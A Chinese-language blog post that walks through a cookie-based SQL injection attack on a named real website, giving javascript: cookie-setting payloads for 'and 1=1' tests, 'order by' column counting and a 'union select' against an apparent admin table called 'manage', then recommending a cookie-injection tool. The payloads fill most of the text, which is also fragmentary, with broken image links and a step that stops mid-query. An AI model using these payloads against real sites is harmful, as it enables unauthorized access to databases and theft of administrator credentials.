Cookie SQL注入(1)

标签:
cookiesql注入杂谈 |
分类: 黑客 |
方法一:手动Cookies注入
下面来尝试一下:找到这个网站,发现其有Cookies注入
http://www.st3yy.com/experts_info.asp?id=128
http://s10/middle/6b347b2ag795a24c190d9&690SQL注入(1)" TITLE="Cookie
,尝试一下平时的注入方式是否成功,在网址的后面加上and 1=1
http://s2/middle/6b347b2agbd856fb31501&690SQL注入(1)" TITLE="Cookie
发觉并没有使用了防注入系统的,(这种失误是不可以的),就目前而言,大多数是使用get方式提交的参数,那现在我们将“id=128”这个参数使用cookie提交看看程序对数据接收是否直接使用 request("xx")的方式?要更改成cookie方式提交,我们首先要访问正常的页面,即是:
具体操作是:
如下图http://s13/middle/6b347b2agbd857b3405ec&690SQL注入(1)" TITLE="Cookie
在空白的地址栏上,填写上,以下内容
javascript:alert(document.cookie="id="+escape("128"));
( 这里的“id=”便是“http://www.st3yy.com/experts_info.asp?id=128”中的“id=”,“escape("128")”中的“128”是“http://www.st3yy.com/experts_info.asp?id=128”中的“id=218”了,这两处要具体根据所获的数据来决定)
http://s1/middle/6b347b2agbd8589301ee0&690SQL注入(1)" TITLE="Cookie
2、 进行了第二步了,打开另一个窗口中,试一下,访问http://www.st3yy.com/experts_info.asp?
结果如下:
http://s9/middle/6b347b2agbd85929a3238&690SQL注入(1)" TITLE="Cookie
javascript:alert(document.cookie="id="+escape("128 and 1=1"));
http://s3/middle/6b347b2agbd85ac91dd62&690SQL注入(1)" TITLE="Cookie
http://s12/middle/6b347b2ag795a2ae3d6bb&690SQL注入(1)" TITLE="Cookie
javascript:alert(document.cookie="id="+escape("128
and
1=2"));
http://s9/middle/6b347b2agbd85b9349178&690SQL注入(1)" TITLE="Cookie
http://s10/middle/6b347b2agbd85b9790719&690SQL注入(1)" TITLE="Cookie
http://s12/middle/6b347b2ag795a2def1e8b&690SQL注入(1)" TITLE="Cookie
然会正常,表示可以使用order by语句,http://s9/middle/6b347b2agbd85cba49988&690SQL注入(1)" TITLE="Cookie
javascript:alert(document.cookie="id="+escape("128 order
by 10"));http://s4/middle/6b347b2ag795a2f066e33&690SQL注入(1)" TITLE="Cookie
再http://s9/middle/6b347b2agbd85cba49988&690SQL注入(1)" TITLE="Cookie
现在试一下20,即
javascript:alert(document.cookie="id="+escape("128 order by
20"));
http://s14/middle/6b347b2agbd85dba4431d&690SQL注入(1)" TITLE="Cookie
再
http://s9/middle/6b347b2agbd85cba49988&690SQL注入(1)" TITLE="Cookie
发现,它是在20以上,以上面这样操作,当到23时,就发现不行,如下:
http://s8/middle/6b347b2agbd85e2575087&690SQL注入(1)" TITLE="Cookie
http://s6/middle/6b347b2agbd85e2a2a9e5&690SQL注入(1)" TITLE="Cookie
综上,可以猜解出正确的字段数22.
5、接下来我们提交:
javascript:alert(document.cookie="id="+escape("128 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22 from manage"));
发现有错误,我们再提交
javascript:alert(document.cookie="id="+escape("128 union
select
1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22
6、
方法二:使用工具 cookies注入工具,在网上找到了,这一款Cookies注入的软件,发现,里面有一些视频,看来,好人总是有的
http://s10/middle/6b347b2agbd863eb81c49&690SQL注入(1)" TITLE="Cookie
发现里有一些视频,我想就不用我写了,可以去看一下。
http://s12/middle/6b347b2ag795a3deb5aeb&690SQL注入(1)" TITLE="Cookie